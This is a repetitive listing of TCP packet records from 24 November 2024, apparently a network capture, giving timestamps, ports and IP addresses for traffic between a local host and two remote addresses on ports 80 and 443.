Nov 24, 2024 23:24:50.022145987 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.023106098 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.023171902 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.023468018 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.023578882 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.024256945 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.024322033 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.024367094 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.024467945 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.025470972 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.025495052 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.025521994 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.025552988 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.026627064 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.026689053 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.026768923 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.026823044 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.027786970 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.028280020 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.028378010 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.028966904 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.029022932 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.029026985 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.029120922 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.030119896 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.030237913 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.030250072 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.031354904 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.031434059 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.031472921 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.031519890 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.032460928 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.032552004 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.032598019 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.032658100 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.033643961 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.033708096 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.033777952 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.034761906 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.034826994 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.042659044 CET	443	49889	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.042746067 CET	443	49889	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.042893887 CET	49889	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.043153048 CET	49889	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.043168068 CET	443	49889	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.043179035 CET	49889	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.043184042 CET	443	49889	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.046557903 CET	49893	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.046577930 CET	443	49893	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.046765089 CET	49893	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.047260046 CET	49893	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.047276020 CET	443	49893	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.048419952 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.048497915 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.048616886 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.048683882 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.049027920 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.049091101 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.049141884 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.049211979 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.049715042 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.049794912 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.050153017 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.050228119 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.050273895 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.050307035 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.050338984 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.050508022 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.050535917 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.050726891 CET	443	49887	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.050786018 CET	443	49887	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.050844908 CET	49887	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.050998926 CET	49887	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.051008940 CET	443	49887	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.051018953 CET	49887	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.051023960 CET	443	49887	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.051307917 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.051357985 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.051412106 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.051589966 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.052500010 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.052577019 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.052671909 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.052840948 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.053601027 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.053658009 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.053745031 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.054096937 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.054811954 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.054954052 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.055016994 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.055938005 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.055991888 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.056037903 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.056201935 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.057071924 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.057183027 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.057193041 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.057265043 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.058273077 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.058340073 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.058368921 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.058429956 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.059375048 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.059457064 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.059488058 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.059544086 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.059607983 CET	49894	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.059647083 CET	443	49894	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.059742928 CET	49894	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.060472012 CET	49894	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.060486078 CET	443	49894	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.060538054 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.060589075 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.060638905 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.060753107 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.061652899 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.061749935 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.061768055 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.061816931 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.062449932 CET	49895	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.062459946 CET	443	49895	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.062788010 CET	49895	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.062798977 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.062901974 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.062932014 CET	49895	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.062943935 CET	443	49895	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.062967062 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.063915014 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.064018965 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.064028978 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.064084053 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.065049887 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.065116882 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.065160990 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.065208912 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.066312075 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.066370964 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.066373110 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.066431999 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.067301035 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.067375898 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.067423105 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.067470074 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.068448067 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.068495989 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.068516970 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.068627119 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.069644928 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.069727898 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.069736004 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.069796085 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.070672035 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.070748091 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.070789099 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.070966959 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.071789980 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.071866989 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.071913004 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.072025061 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.072885036 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.072942019 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.072993994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.073046923 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.074019909 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.074125051 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.074186087 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.075098038 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.075232029 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.075237989 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.075301886 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.076184034 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.076256990 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.076301098 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.076344013 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.077323914 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.077385902 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.077439070 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.077500105 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.078387976 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.078564882 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.078636885 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.079471111 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.079519033 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.079570055 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.079710960 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.080563068 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.080629110 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.080679893 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.080737114 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.081635952 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.081715107 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.081742048 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.081785917 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.082726002 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.082772017 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.082801104 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.082834959 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.083806038 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.083878994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.083888054 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.083941936 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.084868908 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.084925890 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.085349083 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.085931063 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.085994005 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.086040974 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.086462021 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.087002039 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.087107897 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.087110043 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.087156057 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.088043928 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.088129997 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.088174105 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.088207960 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.089082956 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.089138985 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.089194059 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.089245081 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.090150118 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.090215921 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.090245008 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.090290070 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.091181040 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.091240883 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.091295004 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.091480970 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.092242002 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.092297077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.092344999 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.092449903 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.093310118 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.093374014 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.093514919 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.093739986 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.094196081 CET	443	49888	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.094259977 CET	443	49888	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.094325066 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.094358921 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.094386101 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.094418049 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.094430923 CET	49888	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.095360994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.095422983 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.095483065 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.095551014 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.096398115 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.096467972 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.096507072 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.096554995 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.097063065 CET	49888	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.097063065 CET	49888	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.097079992 CET	443	49888	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.097090006 CET	443	49888	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.097417116 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.097527027 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.097733974 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.098450899 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.098510027 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.104638100 CET	49896	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.104666948 CET	443	49896	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.104968071 CET	49896	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.105139971 CET	49896	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.105154037 CET	443	49896	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.213387012 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.213433027 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.213448048 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.213469982 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.213512897 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.213577986 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.213660955 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.213908911 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.213958979 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.213980913 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.213994026 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.214035034 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.214066029 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.214478016 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.214534044 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.214546919 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.214566946 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.214601040 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.214601040 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.214647055 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.215332031 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.215382099 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.215393066 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.215401888 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.215435028 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.215466022 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.249680042 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.249723911 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.249737024 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.249751091 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.249794006 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.249799013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.249846935 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.250085115 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.250118971 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.250129938 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.250145912 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.250199080 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.250653982 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.250724077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.250767946 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.250780106 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.250833035 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.250842094 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.250885010 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.251569986 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.251641035 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.251641989 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.251653910 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.251701117 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.251741886 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.251904011 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.252546072 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.252557993 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.252571106 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.252583027 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.252608061 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.252608061 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.252649069 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.253343105 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.253392935 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.253412008 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.253426075 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.253487110 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.253513098 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.253570080 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.254267931 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.254328966 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.254357100 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.254369974 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.254415989 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.254497051 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.254591942 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.255119085 CET	80	49885	185.215.113.16	192.168.2.5
